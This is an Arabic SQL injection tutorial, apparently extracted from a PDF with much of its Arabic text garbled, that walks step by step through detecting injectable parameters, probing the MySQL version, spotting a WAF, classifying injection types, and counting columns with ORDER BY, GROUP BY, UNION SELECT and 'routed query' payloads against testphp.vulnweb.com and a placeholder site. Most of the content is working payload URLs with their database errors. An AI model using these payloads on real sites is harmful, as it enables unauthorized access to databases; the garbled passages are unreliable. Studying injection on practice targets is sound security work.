‫هذا الباب ‪ ,‬إشارة التنصيص الفردية عبارة عن رمز ريعطي قيمة عادية بإستعمالة حال الختبار فتجعل من الستعلم خاطئ أو‬
‫بمعنى أدق تقوم بتعطيلره من الصل وجعرلة كإستعلم مركب بطريقة خاطئة ‪ ,‬لذا تقوم القاعدة على إثر ذلك المر بالسلتجابة و‬
‫جمل النصية التي تسمح بظهور الخطاء ‪ ,‬فرتستشف إمكانبة الصابة وإمكانية جواز التعاطي مع‬ ‫إعطاء رد بسبب تفعيل خاص لمية ال ر‬
‫الثغرة وإختبار إستغللها ‪.‬‬

‫'‪testphp.vulnweb.com/listproducts.php?cat=1‬‬
‫خطوة الثانية ‪ :‬إستخدام الـ ‪ Boolean operators‬أو الرمعاملت المنطقية ورمقارنة النتائج •◘╚╦☆‬
‫☆╚╦◘• ال ر‬

‫خمدمما للفحص الروابط والرمتغيرات لبمنلطق الصواب والخطأ فتكون قيمة أحد الرمعاملين رمصاغمرة للصواب‬ ‫المعاملت المنطقية ‪ :‬رتست ل‬
‫لخرى للخط ‪ ,‬فالرمعاملت المنطقية ‪ Logical Operator‬لبرلغة الـ ‪ SQL‬ولجدت لتكون صيغة لربط بين تعبيرين منطقيين بسيطين‬ ‫وا ر‬
‫لتكوين جملة خبرية مركبة ‪ ,‬ومن المعاملت المنطقية المستخدمة في لغة ‪ SQLBASIC‬المعامل ‪ AND‬والمعامل ‪ OR‬حيث‬
‫الرمعامل ‪ AND‬يعطي ناتجا صوابا ل إذا ما كان ك رل ل من التعبيرين المنطقيين البسيطين صوابا ل ويعطي ناتجا ل خطأ إذا ما كان ك رل ل من‬
‫التعبيرين المنطقيين البسيطين أو أحدهما خطأ ‪ ,‬والرمعامل ‪ OR‬يعطي ناتجا ل صوابا ل إذا كان أيا ل من التعبيرين المنطقيين البسيطين أو‬
‫كلهما صوابا ل ويعطي ناتجا ل خطأ إذا كان ك رل ل من التعبيرين المنطقيين البسيطين خطأ ‪.‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 and 1 = 1‬‬ ‫] صواب [‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 and 1 = 2‬‬ ‫] خطأ [‬


‫خطوة الثالثة ‪ :‬إستخدام حروف البجدية النجليزية •◘╚╦☆‬
‫☆╚╦◘• ال ر‬

‫عب بهذه القيم وإضافة قيم ليست ضمن البنية التركيبية ‪,‬‬ ‫دائما ل مايكون للرمتغير قيمة رقمية أو قيمة نصية فى بعض الحيان ‪ ,‬بالتل ر‬
‫سوف يعمل ذلك على خلخلت البيئة الخاصة بالرمتغير والرمسجل قيمتة رمسبقا ة بالسيرفر أو قاعدة البيانات بالموقع داخل السيرفر‬
‫جمل‬‫‪ ,‬لذا رتستخدم الحروف البجدية النجليزية ضمن عمليات الستعلم لخلق واقع رمغاير لما هو علية وذلك إذا كانت خاص لمية ال ر‬
‫النصية بالموقع رمفعلة سوف بظهر خطاء نصي بالصفحة وإذا لم رتف لمعل الخصية سوف يظهر إختلف ببنية الصفحة العامة ‪ ,‬هذا و إن‬
‫ظهرخطأ ليس موجود أو ‪ not found‬سوف يعني ذلك أنره ليس رمصاب ‪.‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1a‬‬
‫☆╚╦◘• الباب الثالث ‪ :‬الكشف عن إصدار قاعدة البيانات •◘╚╦☆‬

‫يقع دائما ل رمختبري حقن القواعد في العديد من المشاكل في بداية الختبارات من أهمها ‪ ,‬عند الرنقطة الولى لختبار الثغرة يعتقد أن‬
‫رمجمل عملية الحقن أمر في غاية الصعوبة أو الستحالة ‪ ,‬وهذا ك رل لمره خطأ الرمختلبر من البداية ‪ ,‬لكون إصدار قاعدة البيانات للموقع‬
‫الرمصاب الذي يعمل علية الصدار الرابع من قواعد البيانات والتي ل تعمل ضمنها الـ ‪ information schema‬ول يدرى اللمسكين‬
‫ذلك كونة لم ريحاول قبل شروعه في العملية بخطوات بسيطة معرفة قيمة الصدار ‪ ,‬فريحاول جالهل ل إتمام عملية الحقن بإستخدام‬
‫إستعلمات الصدار الخامس الخاصة بعمليات سحب البيانات الحساسة بها ‪ ,‬وهذا من ا ر‬
‫لمور الرمستحيلة طبعا ل ‪ ,‬فيعجز ويتررك‬
‫الهدف لحال سبيرلة ‪ ,‬لذا توجب على الرمختبر إتباع الخطواط الولية لعمليات إختبار الحقن التي نقوم بشرحها من بداية هذا الفصل‬
‫وعلى رأسها معرفة قيمة إصدار قاعدة البيانات لذا فلنبدأ ‪.‬‬

‫█▇▆▅▄▃▂‬ ‫إستعلمات الـ ‪ Error Based‬الرمستخدمة لتحصيل قيمة الصدار‬ ‫▂▃▄▅▆▇█‬

‫رتملثل الصدار الثالث '‪1- AND MID(VERSION(),1,1) = '3‬‬

‫;'‪2- AND MID(VERSION(),1,1) = '4‬‬ ‫رتملثل الصدار الرابع‬

‫;'‪3- AND MID(VERSION(),1,1) = '5‬‬ ‫رتم لثل الصدار الخامس‬

‫رلنجري مثال ل عمليا ل على ذلك‬


‫;'‪[1] testphp.vulnweb.com/listproducts.php?cat=1 AND MID(VERSION(),1,1) = '3‬‬

‫;'‪[2] testphp.vulnweb.com/listproducts.php?cat=1 AND MID(VERSION(),1,1) = '4‬‬

‫;'‪[3] testphp.vulnweb.com/listproducts.php?cat=1 AND MID(VERSION(),1,1) = '5‬‬

‫بالمثال السابق كما لحظرتم ظهرت صفحات بيضاء أي قيم فارغة أو خاطئة عند الختبار رقم ]‪ [1‬ورقم ]‪[2‬‬
‫لكن عند الختبار رقم ]‪ [3‬قامت الصفحة بالتحميل بصورة طبيعية ‪ ,‬مما دل على أن قيمة إصدار قاعدة البيانات‬
‫ليس ل بالصدار الثالث ول بالصدار الرابع ‪ ,‬إنما الصدار الخامس من قاعدة البيانات ‪.‬‬
‫☆╚╦◘• الباب الربع ‪ :‬الكشف عن وجود جدار حماية ناري ‪☆╦╚◘• WAF‬‬

‫يشير مصطلح “جدار الحماية” ‪ Firewall‬إلى “برنامج” ‪ Software‬أو “جهاز” ‪ Hardware‬يتولى مهلمة فحص المعلومات الواردة من‬
‫الشبكة العنكبوتية أو الشبكات الخرى ‪ ،‬ويقوم بالسماح لها أو استبعادها استنالدا لعدادات جدار الحماية ‪.‬‬

‫وكان أول ظهور لتكنولوجيا جدار الحماية عام ‪ 1988‬عندما قامت شركة المعدات الرقمية المريكية ‪ DEC‬بإصدار “نظام تصفية”‬
‫‪ Filtering System‬المعروف باسم “مصلفي الحزم” ‪ ، Packet Filter‬والذي كان يقوم بفحص الحزم الواردة من الشبكة‬
‫العنكبوتية أو الشبكات الخرى ‪ ،‬فإذا كانت الحزمة مطابقة لعدادات نظام التصفية فإن النظام يقوم باستبعادها أى أ لمن كل البيانات‬
‫الداخلة و الخارجة من و إلى ) كارت الشبكة ‪ -‬على مستوى الجهاز الواحد أو على مستوى الشبكة ( يجب أن تمر بالفايروول أول‬
‫قبل النتقال للطرف الخر و يكون التحكم في البيانات عن طريق استثنائها أو استئصالها من و إلى الشبكة و متطلبات الشبكة‬
‫و لمالتي يراها مدير الشبكة هي ا لملتي رتحللدد تلك القواعد ‪.‬‬

‫� رمعاملت الكشف عن وجود الحماية �‬

‫بإستخدام الرمعاملت المنطقية الخاصة ريمكن معرفة إن كانت رهناك حماية رمنصبة بالمولقع من عدمها قبل الخوض في لخضم عملية‬
‫الحقن ‪ ,‬فبإستخدامها من الرمرجح رظهور خطأ خاص مثل فوربيدن أو نوت إكستبول بالصفحة يردل على وجود‬
‫الـ ‪ Firewall‬أو الجدار الناري إذا كان موجودا ل ‪ ,‬ول يظهر شئ أو يظهر خطأ نصي عادي أو رتحلمل الصفحة بصورة طبيعية في حال‬
‫عدم وجود الـ ‪. Firewall‬‬

‫الرمعاملت الخاصة بقياس تواجد الحماية من عدمها‬

‫]‪ [1‬بإستخدام هذا الستعلم نتوقع حدوث إعتراض في حالة تفعيل الحماية ‪. or 1 = 1 1‬‬
‫]‪ [2‬بإستخدام هذا الستعلم نتوقع حدوث إعتراض في حالة تفعيل الحماية أيضا ل ‪. and 1 = 1 1‬‬

‫لرنجري إختبارا ل لتأكيد ذلك <<<<‬


1-‬‬ www.InjectorBoy.md/news.php?id=58 1 or 1 = 1 [ ‫] توجد حماية بالسيرفر‬

2-‬‬ www.InjectorBoy.md/news.php?id=58 1 and 1 = 1 [ ‫] توجد حماية بالسيرفر‬

3-‬‬ testphp.vulnweb.com/listproducts.php?cat=1 1 and 1 = 1 [‫] ل توجد حماية بالسيرفر‬

▂ ▃ ▄ ▅ ▆ ▇ █ ‫▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل‬
‫� الفصل الثاني ‪ :‬أساسيات حقن الرمتغير في قواعد البيانات �‬

‫أساسيات حقن الرمتغير في قواعد البيانات هي من بديهيات الحقن العام ‪ ,‬فل يجب على أحد أن يغفل عنها كونها من العوامل‬
‫الساسية فى نجاح أي إختبار حقن بصورة مبدئية ‪ ,‬وهي حسب تصنيفي لها أربعة أنواع وهذا ما يمكن تسميته بـ ' أنواع الحقن '‬
‫وهم على النحو التالي ‪:‬‬

‫‪SQL Injection Integer Based‬‬ ‫النوع الول ‪:‬‬

‫‪SQL Injection Strings Based‬‬ ‫النوع الثاني ‪:‬‬

‫‪SQL Injection Closures‬‬ ‫النوع الثالث ‪:‬‬

‫‪D.I.V Injection‬‬ ‫النوع الرابع ‪:‬‬


‫☆╚╦◘• النوع الول ‪☆╦╚◘• SQL Injection Integer Based :‬‬

‫وهو حقن الروابط برقم متغير حر ' ويسمى الحقن العددي ' ويتم هذا الحقن بصورة عادية بترك رقم المتغير كما هو دون أي إدخال عليه‬
‫‪ ,‬كما بالمثال التالي ‪:‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 order by 100 -- -‬‬

‫☆╚╦◘• النوع الثاني ‪☆╦╚◘• SQL Injection Strings Based :‬‬

‫هو حقن الروابط برقم متغير رمنصص ‪ ,‬بإستخدام علمة التنصيص الفردية كومة ‪ ' Comma‬ويسمى الحقن النصي ' ويتم هذا الحقن‬
‫بإدخال علمة التنصيص الفردية كومة تالي رقم الرمتغير رمباشرلة كما بالمثال التالي ‪.‬‬

‫‪www.InjectorBoy.GHT?id=1' order by 100 -- -‬‬


‫☆╚╦◘• النوع الثالث ‪☆╦╚◘• SQL Injection Closures :‬‬

‫هو حقن الروابط برقم متغير رمغلق ' ويسمى الحقن الرمغلق ' ويتم هذا الحقن بإدخال القوس الهللي الرمفرد ( علي رقم الرمتغير‬
‫رمباشرلة بدون أي فواصل بينرهما ‪ ,‬لكن لكي يتح لمقق هذا النوع من الحقن يجب تورفر الشرط التالي ‪:‬‬

‫ث‬
‫] ظهور أخطاء كودية رمتولدة من قاعدة البيانات نتيجة إستخدام علمة التنصيص الفردية كومة كالخطاء الخمس التالية من حي ر‬
‫التشابة الشرطي [‬

‫‪[1] the right syntax to use near 'order by 1 -- -,2,5,8)' at line 1‬‬

‫')'‪[2] near 'domain','0','Unknown Domain Name','U‬‬

‫‪[3] near '0bul7onlcfkapqk78rk6l2l1h1', 'public_user', now(), '2','cms')' at line 7‬‬

‫')''‪[4] the right syntax to use near ''1‬‬

‫‪[5] near '') ORDER BY dragSortOrder DESC, updatedDate DESC' at line 3‬‬

‫الرملحظات على الخمس أخطأ المعروضة سابقا ل‬

‫‪ -1‬تك ل ررر وجود القوس الهللية الرمفردة بالخطأ الناتج ‪.‬‬


‫‪ -2‬تك ل ررر وجود إشارات الكومة ‪ comma‬بكثرة بالخطأ الناتج ‪.‬‬
‫جد هذه الشروط بالخطأ الناتج في أي مكان عند لبدأ الختبار دل أن نوع‬‫وتلك الرملحظات تردل على نوع الحقن الـ ‪ Closures‬أي بتوا ر‬
‫الحقن هو الحقن الثالث ‪ ,‬بمعنى أ لمن رنقطة الحقن سوف تكون داخل القواس ‪.‬‬

‫)( ‪The Injection point is inside‬‬

‫مثال على ذلك‬

‫'‪http://www.InjectorBoy.GHT?id=1‬‬

‫‪You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for‬‬
‫‪the right syntax to use near ''3'' LIMIT 1' at line 1‬‬

‫تحقق الشرط الثاني بالخطأ الناتج أعله وهو تكرار وجود إشارات الكومة ‪ comma‬بكثرة ضمن الخطأ ‪ ,‬لرنكمل عملية الحقن‬
1- http://www.InjectorBoy.GHT?id=1 order by 100-- -

2- http://www.InjectorBoy.GHT?id=1' order by 100-- -

‫ بإضافة الكومة لم يحدث أي تغ ل رير‬order by 100 ' ‫ و الـ‬order by 100 ‫ بإسنخدام إستعلم الـ‬: ‫رملحظات عملية الحقن السابقة‬
Strings Injection ‫ ول الـ‬Integer Injection ‫ مما دل أن نوع الحقن ليس بالحقنين العاديين ل الـ‬, ‫بتاتا ل بالصفحة‬
: ‫ وذلك على النحو التالي‬, Closures Injection ‫بل سوف يكون الـ‬

http://www.InjectorBoy.GHT?id=1) order by 100-‬‬-‬‬ -‬‬

Unknown column '100' in 'order clause'


‫☆╚╦◘• النوع الرابع ‪☆╦╚◘• D.I.V Injection :‬‬

‫الـ ‪ : Direct injection of the variable number‬هو حقن قواعد البيانات برقم متغير حر بدون أدخال قيمة الستعلمـ ‪union‬‬
‫حر الرمباشر حقن مشروط أيضا ل كما سبق بالحقن الثالث ‪ ,‬الخطأ الناتج‬
‫حر الرمباشر ' والحقن ال ر‬
‫‪ select‬عليه ' ويسمى الحقن ال ر‬
‫تاليا ل من إختبار الحقن الرمستنتج منره الشروط ‪-‬‬

‫‪1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version‬‬
‫'\‪for the right syntax to use near '\' AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1‬‬
‫‪A' at line 1‬‬

‫الرملحظات ‪ :‬نلحظ بالخطأ السابق تكرار الحرفين " ‪ " AS‬ورمز الـ ‪ ' commas‬بكثره ‪ ,‬وهذا يردل على أن الحقن رهنا داخل الـ‬
‫" ‪ " select‬وقبل الـ " ‪ , " from‬لذا ل ريمكنا إستخدام رأسلوب الـ ‪ , union Based‬فيكون الحقن الرمناسب هو رأسلوب الـ ‪Direct‬‬
‫‪. Injection‬‬

‫وخطوات الحقن الرمباشر تتم على النحو التالي‬


‫‪ - 1‬الموقع الدمختبر ‪:‬‬

‫‪www.InjectorBoy.GHT?id=1‬‬

‫‪ - 2‬إختبار إمكانية الصابة بالثغرة بإستخدام علمة التنصيص الفردية كومة ‪:‬‬

‫'‪http://www.InjectorBoy.GHT?id=1‬‬
: ‫كلية للعمدة‬
‫ إختبار الكشف على العداد ال د‬- 3

http://www.InjectorBoy.GHT?id=1 order by 2-- -

: Union Based ‫ إختبار إمكانية عمل دأسلوب الـ‬- 4

http://www.InjectorBoy.GHT?id=.1 union select 1-- -


‫‪ - 5‬أخيرا ا إختبار الحقن الدمباشر ‪:‬‬

‫‪http://www.InjectorBoy.GHT?id=1,1‬‬

‫‪ - 6‬إختبار إصدار قاعدة بيانات السيرفر ‪:‬‬

‫)(‪http://www.InjectorBoy.GHT?id=1,version‬‬
‫▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂‬
‫� الفصل الثالث ‪ :‬رأسلوب الحقن النمطي ورملحقات رره �‬

‫☆*•‪ ☆¸.‬الرمحتويات ☆¸‪☆*•.‬‬

‫الباب الول ‪ :‬رأسلوب الحقن النمطي ‪.‬‬


‫الباب الثاني ‪ :‬أساليب تحصيل العداد الك رمللية للعلمدة ‪.‬‬

‫‪ :‬الستعلم التقليدى ‪ Order+By‬أو ‪. Group By‬‬ ‫الفصل الول‬


‫الفصل الثاني ‪ :‬الستعلمات الرملحقة الرئيسية ‪. - Union By Linked -‬‬
‫الفصل الثالث ‪ :‬السلوك الوافي ‪. Waf's Behavior‬‬
‫الفصل الرابع ‪ :‬الستعلم التوجيهي ‪. - Routed Query -‬‬
‫الفصل الخامس ‪ :‬إستخدام الستعلم ‪. PROCEDURE ANALYSE‬‬
‫الفصل السادس ‪ :‬تحصيل أعداد العمدة بتخمين الجدول الرئيسي ‪.‬‬
‫الفصل السابع ‪ :‬تحصيل أعداد العمد بالـ ‪ Error Based‬بتخمين الجدول الرئيسي ‪.‬‬

‫الباب الثالث ‪ :‬التقنيات المركزية لتحصيل العداد ال ر‬


‫كلية للعمدة ‪.‬‬

‫كلي للعمدة برأسلوب الغراق ‪.‬‬


‫]‪ [1‬التقنية الولى ‪ :‬الكشف عن العدد ال ر‬
‫ر‬
‫كلي للعمدة بأسلوب الفيض الرمتعدد ‪.‬‬ ‫]‪ [2‬التقنية الثانية ‪ :‬الكشف عن العدد ال ر‬
‫]‪ [3‬التقنية الثالثة الرمتقلمدمة ‪ :‬النمط الغلقي ‪. Style closure‬‬
‫☆*•‪ ☆¸.‬الباب الول ‪ :‬رأسلوب الحقن النمطي ☆¸‪☆*•.‬‬

‫هذا النوع من الحقن أي الحقن النمطي والذي أعني به الحقن العام أو العادي والمعروف لدى الرمبتدإ قبل الرمحترف ‪ ,‬فهو من‬
‫رمس لملمات العمل فل يصرعب على أحد لفهمرمره أو اللمام به كونره أساس ركل شئ ‪ ,‬لذا سوف أقوم بوضع شرح تص ل روري لره بصورة كاملة‬
‫التفاصيل ] والكمال لله وحدهر [ حتى نكون على الضرب الصحيح والكائن فى معرفة أساسيات الساسيات البلدهية ‪.‬‬

‫‪ - 1‬أول ل ‪ :‬فالنبدأ العمل بالكشف عن إمكانية الصابة بالثغرة وقد تم شرح هذا المر بالتفصيل بالفصل الول ‪ ,‬وذلك بإستخدام علمة‬
‫التنصيص الفردية كومة وإضافتها بعد رقم الرمتغير بصور مةر مباشرةر على النحو التالي ‪:‬‬

‫'‪www.InjectorBoy.GHT?id=1‬‬

‫‪You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version‬‬
‫''‪for the right syntax to use near ''3‬‬

‫الناتج الرمتوقع بالصفحة ‪ :‬أول ل هذا يختلف من موقع لخر فقد ل يظهر مثل الخطأ أعله بل من الرممكن أن يحردث تغ ل رير فى تركيب‬
‫بنية الصفحة من إختفاء لنصوص ما أو رموز أو حتى صور الخ ‪ ,‬وهذا ك رل لمره إن دل فإنره يردل على أن النتيجة الخاصة بهذا الموقع‬
‫إيجابية أي رمصاب وهذه هي المرحلة الولى من الحقن تم التأركد من الصابة ‪ ,‬لننتقل للمرحلة التالية ‪.‬‬

‫كلي للعمدة ‪ :‬ويتم ذلك بعدة رأمور من أسهلها إستخدام الستعلم ‪ ORDER BY‬وإلحاق هذا الستعلم‬
‫‪ - 2‬الكشف عن العدد ال ر‬
‫برقم البدأ من أعلى قيمة وهو الرقم مائة رثم النزول إلى أقل قيمة وهو الرقم واحد تنارزليا ل ‪.‬‬

‫مثال عملي على ذلك‬

‫خطأ ‬‬‪1-‬‬ www.InjectorBoy.GHT?id=1 order by 100 -‬‬-‬‬ -‬‬

‫خطأ ‬‬‪2-‬‬ www.InjectorBoy.GHT?id=1 order by 50 -‬‬-‬‬ -‬‬

‫خطأ ‬‬‪3-‬‬ www.InjectorBoy.GHT?id=1 order by 25 -‬‬-‬‬ -‬‬

‫خطأ ‬‬‪4-‬‬ www.InjectorBoy.GHT?id=1 order by 10 -‬‬-‬‬ -‬‬

‫خطأ ‬‬‪5-‬‬ www.InjectorBoy.GHT?id=1 order by 5 -‬‬-‬‬ -‬‬

‫إختفى الخطأ ‬‬‪6-‬‬ www.InjectorBoy.GHT?id=1 order by 2 -‬‬-‬‬ -‬‬

‫عب بالعداد تنارزلي لما ل كما بي ل منا تم الكشف عن العدد ال ر‬


‫كلي للعمدة ورهم إثنين فقط ‪.‬‬ ‫بالتل ر‬

‫قبل إكمال عملية الحقن بالنتقال إلى الخطوة التالية سوف أقوم بالباب التالي بشرح كافة رطرق وأساليب تحصيل العداد ال ر‬
‫كلية‬
‫للعمدة من باب الوملوية الزمنية ‪ Priority Time‬بهذا الفصل ‪.‬‬
‫☆*•‪ ☆¸.‬الباب الثاني ‪ :‬أساليب تحصيل العداد الك رمللية للعلمدة ☆¸‪☆*•.‬‬

‫فى هذا الباب الرملحق سوف نتحدث بشيئ من الستفاضة والتفصيل عن عدد ل بأس به من التفنيات المشهورة لتحصيل القيمة‬
‫الحقيقية للأعداد الك رمللية للعمدة بقاعدة البيانات ‪ ,‬وسوف أقوم بتقسيم هذا الباب إلى سبعة فصول على النحو التالي ‪:‬‬

‫‪ -1‬الفصل الول ‪ :‬الستعلم التقليدى ‪ Order+By‬أو ‪. Group By‬‬

‫‪ -2‬الفصل الثاني ‪ :‬الستعلمات الرملحقة الرئيسية ‪. Union By Linked‬‬

‫‪ -3‬الفصل الثالث ‪ :‬السلوك الوافي ‪. Waf's Behavior‬‬

‫‪ -4‬الفصل الرابع ‪ :‬الستعلم التوجيهي ‪. Routed Query‬‬

‫‪ -5‬الفصل الخامس ‪ :‬إستخدام الستعلم ‪. PROCEDURE ANALYSE‬‬

‫‪ -6‬الفصل السادس ‪ :‬تحصيل أعداد العمدة بتخمين الجدول الرئيسي ‪.‬‬

‫‪ -7‬الفصل السابع ‪ :‬تحصيل أعداد العمد بالـ ‪ Error Based‬بتخمين الجدول الرئيسي ‪.‬‬
‫☆*•‪ ☆¸.‬الفصل الول ‪ :‬الستعلم التقليدى ‪ Order+By‬أو ‪☆*•.¸☆ Group By‬‬

‫هذا الستعلم من بممده لميات حقن قواعد البيانات ويعلرلفمره الجميع لبل إستثناء حي ر‬
‫ث إنره أحد المبادئ الساسية التى تعلمناها عند بدء‬
‫الممسير فى هذا المجال ‪ ,‬ويكون المر ‪ -‬أي طريقة الستخدام ‪ -‬بإضافة هذا الستعلم ‪ - Order+By-‬بعد قيمة الرمتغللير رمضاف إلية‬
‫القيمة الرقمية الرمحتمملة الرقصوى ‪ ,‬وأقرصد بذلك الرقم لمائة ث رمم ريق لمرب بصورة أبسط حتى نصل للرقم الدنى ‪ ,‬وأقرصد بذلك الرقم والحد‬
‫على هذا النحو ‪:‬‬

‫‪[1] testphp.vulnweb.com/listproducts.php?cat=1 order by 100 -- -‬‬

‫'‪Error: Unknown column '100' in 'order clause‬‬

‫‪[2] testphp.vulnweb.com/listproducts.php?cat=1 order by 50 -- -‬‬

‫'‪Error: Unknown column '50' in 'order clause‬‬

‫‪[3] testphp.vulnweb.com/listproducts.php?cat=1 order by 20 -- -‬‬

‫'‪Error: Unknown column '20' in 'order clause‬‬


[4] testphp.vulnweb.com/listproducts.php?cat=1 order by 15 -- -

Error: Unknown column '15' in 'order clause'

[5] testphp.vulnweb.com/listproducts.php?cat=1 order by 12 -- -

Error: Unknown column '12' in 'order clause'

[6] testphp.vulnweb.com/listproducts.php?cat=1 order by 11 -- -

The page login well

. ‫ كما نرى بالصورة أعله مما دل على أن عدد العمدة لهذا الموقع هم إحدى عشر عمودا ل‬11 ‫لم يحردث أي خطأ عند تجربة الرقم‬
‫☆*•‪ ☆¸.‬الفصل الثاني ‪ :‬الستعلمات الرملحقة الرئيسية ‪☆*•.¸☆ Union By Linked‬‬

‫وهذه الستعلمات الرمدمجة رتعطي نتيجة رمرضية جدا ل حيث إنها ثمبت تخطيها للعديد من الحمايات ‪ ,‬وهي قائمة من حي ر‬
‫ث‬
‫التركيب التأسيسي على الدمج بين الستعلم الرئيسيي ‪ union select‬وبين الستعلم الترتيبي ‪ Order+By‬أو ‪. Group By‬‬

‫جمل بلغة الستعلمات الهيكلية لهم المعنى التالي ‪:‬‬


‫وهذه ال ر‬

‫الـ ‪ : union‬علقة تربط بين مجموعتين لرهما نفس الحقول ونفس الخصائص ‪.‬‬

‫الـ ‪ : select‬لنتقاء بعض العناصر ‪ /‬السرطر ‪ Rows‬من مجموعة رمعينة‪,‬جرد البيانات أى جلبها من الجداول ‪.‬‬

‫الـ ‪ : Order BY‬تقوم بترتيب البيانات إما تصا ر‬


‫عديا ل أو تنارزليا ‪.‬‬

‫والشكل الهيكلي لرهما أو التركيبي ل ر‬


‫لسلوب كالتالي ‪:‬‬

‫والتي تعني‬ ‫رمنتهي بالشارة `‬ ‫أول ل ‪ :‬نبدأ بلكتابة بالستعلم ‪ group+by+100‬ثم يالي ذلك إضافة الستعلم ‪union+select+1‬‬
‫‪ back quote‬أو ‪ backtick‬ومكانها بلوحة المفاتيح الزر الرمجاور لزر الرقم واحد أسفل مفتاح الـ ‪ F1‬كما هو موضح بالصورة التالية‬

‫ثم يلي ذلك إ`ضافة الـ ‪ comment's‬أو التعليق ‪ - --‬بنهاية الستعلم ال ر‬


‫كلي على النحو التالي ‪:‬‬

‫‪+group+by+100+union+select+1` -- -‬‬

‫مثال توضيحي ‪:‬‬

‫خطأ >> ‪www.InjectorBoy.md/news.php?id=58' group+by+100+union+select 1` -- -‬‬

‫خطأ >> ‪www.InjectorBoy.md/news.php?id=58' group+by+50+union+select 1` -- -‬‬

‫خطأ >> ‪www.InjectorBoy.md/news.php?id=58' group+by+25+union+select 1` -- -‬‬

‫خطأ >> ‪www.InjectorBoy.md/news.php?id=58' group+by+15+union+select 1` -- -‬‬

‫خطأ >> ‪www.InjectorBoy.md/news.php?id=58' group+by+14+union+select 1` -- -‬‬

‫ل خطأ >> ‪www.InjectorBoy.md/news.php?id=58' group+by+13+union+select 1` -- -‬‬


‫☆*•‪ ☆¸.‬الفصل الثالث ‪ :‬السلوك الوافي ‪☆*•.¸☆ Waf's Behavior‬‬

‫السلوك الوافي ‪ -‬أي إفتراض حدوث خطأ نتيجة التتاربع الرقمي ‪ -‬نستطيع المتن ل ربئ به عن طريق تحصيل العداد الك رمللية للعلمدة‬
‫بإستخدام الستعلم التقليدى ‪ Order+By‬أو ‪ Group By‬بصورة رمتتابعة أو رمتتالية فى الترقيم وذلك بإضافة رقم عددي واحد كل مرة‬
‫كلي للعمدة داخل قاعدة البيانات بصورة رمتتالية على هذا النحو ‪:‬‬ ‫لستكشاف العدد الصحيح ال ر‬

‫ل خطأ ‪www.InjectorBoy.md/news.php?id=58' group+by+1 -- -‬‬

‫ل خطأ ‪www.InjectorBoy.md/news.php?id=58' group+by+1,2 -- -‬‬

‫ل خطأ ‪www.InjectorBoy.md/news.php?id=58' group+by+1,2,3 -- -‬‬

‫ل خطأ ‪www.InjectorBoy.md/news.php?id=58' group+by+1,2,3,4 -- -‬‬

‫ل خطأ ‪www.InjectorBoy.md/news.php?id=58' group+by+1,2,3,4,5 -- -‬‬

‫خطأ ‪www.InjectorBoy.md/news.php?id=58' group+by+1,2,3,4,5,6 -- -‬‬

‫‪Unknown column '6' in 'group statement‬‬

‫تم تحصيل خطأ عند التتاربع من الرقم واحد إلى الرقم ستة ‪ ,‬والذي يعني أن العدد ستة من العمدة ليس موجود ‪ ,‬مما دل على أن‬
‫العدد الصحيح للعمد هو العدد خمسة أي أ لمن العدد الذي يكون عندهر الخطأ يكون العدد القل منره هو العدد الصحيح للقيمة ال ر‬
‫كلية‬
‫للعمدة ‪.‬‬
‫☆*•‪ ☆¸.‬الفصل الرابع ‪ :‬الستعلم التوجيهي ‪☆*•.¸☆ Routed Query‬‬

‫الستعلم التوجيهى ‪ Routed SQLI Query‬هو مسألة تكرارية رمتعددة للعداد التحصيلية للعمدة ‪.‬‬

‫مثال توضيحي ‪:‬‬

‫لنفترض وجود رمشكلة لدينا ‪ :‬وهي عدم وجود أية إستجابة من قاعدة البيانات عند إستخدام الستعلم التقليدى ‪Order+By‬‬
‫أو ‪ Group By‬عند الرقم مائة سواء مع الحقن العددي أو الحقن النصي ‪ ,‬لذا عادة يكون الحل الرم ل متبع رهنا هو إستخدام تقينية‬
‫كلي للعمدة من بعدها وذلك على النحو التالي ‪:‬‬ ‫الستعلم التوجيهى لتحصيل خطأ عند الرقم مائة لستكمال البحث عن العدد ال ر‬

‫لم يحردث الخطأ الرمتوقع عند الرقم ال ر‬


‫كلي مائة ‪www.InjectorBoy.md/news.php?id=58' order by 100 -- - >> No Error‬‬

‫ول حتى عند الرقم واحد ‪www.InjectorBoy.md/news.php?id=58' order by 1 -- - >> No Error‬‬

‫المسألة التوجيهية‬

‫أول ل ‪ :‬نضيف القيمة السلبية التالية قبل الستعلم التقليدى ‪. Order+By‬‬

‫'‪and false UNION SELECT "1‬‬

‫على النجو ال ر‬
‫كلي التالي ‪:‬‬

‫‪[0] www.InjectorBoy.md/news.php?id=58' order by 100 -- -‬‬

‫‪[1] www.InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100 -- -‬‬

‫ثانيا ل ‪ :‬إضافة القتباس الرمزدوج ‪ " double quotation‬بعد الرقم مائة الخاص بإستعلم الـ ‪. order by‬‬

‫على هذا النجو ‪:‬‬

‫‪[2] www.InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100" -- -‬‬

‫بعد علمة القلتباس الرمزدوج ثم رنضيف بعدها رقما ل يساوى العدد – إثنين ‪ -‬حيث يبدأ العد للرقام من عنلدها أى‬ ‫ثالثا ل ‪ :‬إضافة فاصلة ‪,‬‬
‫الرقم إثنين ‪ ,‬وليس من الرقم التقليدي للعد واحد كما الرمعتاد ' على هذا النحو ‪:‬‬

‫‪[3] www.InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2 -- -‬‬

‫عديا ل حتى يظهر خطأ بالصفحة ‪ ,‬على هذا النحو ‪:‬‬


‫رابعا ل ‪ :‬القيام بصورة رمستمرة بإضافة العداد من بعد الرقم إثنين تصا ر‬

‫‪[4] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2 -- -‬‬

‫‪[5] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3 -- -‬‬

‫‪[6] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4 -- -‬‬

